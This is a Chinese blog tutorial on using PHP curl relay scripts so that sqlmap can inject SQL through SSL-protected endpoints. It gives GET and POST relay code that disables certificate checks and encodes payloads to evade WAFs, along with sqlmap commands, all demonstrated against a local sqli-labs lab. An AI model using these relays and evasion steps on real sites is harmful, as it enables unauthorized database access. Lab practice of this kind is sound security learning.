sqlmap中转注入

今天学习到一篇文章,讲的是如何利用sqlmap对有ssl通信的网站进行注入。sqlmap原本没有绕过ssl的temper,所以这时候就需要自己建立一个中转脚本,可以忽略ssl进行访问。如PHP的curl。

原文链接:
实战sqlmap绕过WAF
SQLMAP配合PHP中转忽略ssl

原理

原理就是利用PHP的curl模块可以选择不验证证书和hosts,然后curl请求有ssl的注入点,如图。

关于ssl的相关知识可以百度、B站、知乎进行搜索。

测试

没有找到应用了ssl的注入点。。于是只能用sqli-labs看看具体操作。
Ubuntu在昨天做ssrf的时候刚好开启了PHP的curl,于是就用ubuntu做中转了,其实windows、kali、ubuntu都可以,而且kali做中转最快,因为是本地。

GET型

中转脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","/**/",$id);
$id=str_replace("=","%3D",$id); //这些编码机制可以自己的需求设定,毕竟实战的环境变换多样
$url = "http://192.168.0.161:8081/sqli-labs-master/Less-1/?id=".$id;
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

然后kali使用sqlmap:

1
sqlmap -u "http://192.168.0.171/zz.php?id=1" -v 3 --batch -tecnueq U

使用wireshark抓包看看payload:

成功注入:
为什么这么慢啊哭,半个小时。。

POST型

中转脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$url = "http://192.168.0.161:8081/sqli-labs-master/Less-11/";
$sql = $_GET[s];//获取中转脚本传过来的payload
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();// 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
$a = strlen($output);
//echo $a;
if($a==2846){
echo "1";
}else{
echo "2";
}

kali打开sqlmap:

1
root@kali430:~# sqlmap -u "http://192.168.0.171/zzpost.php?s=1" --batch --dbms mysql

wireshark查看payload:

成功注入: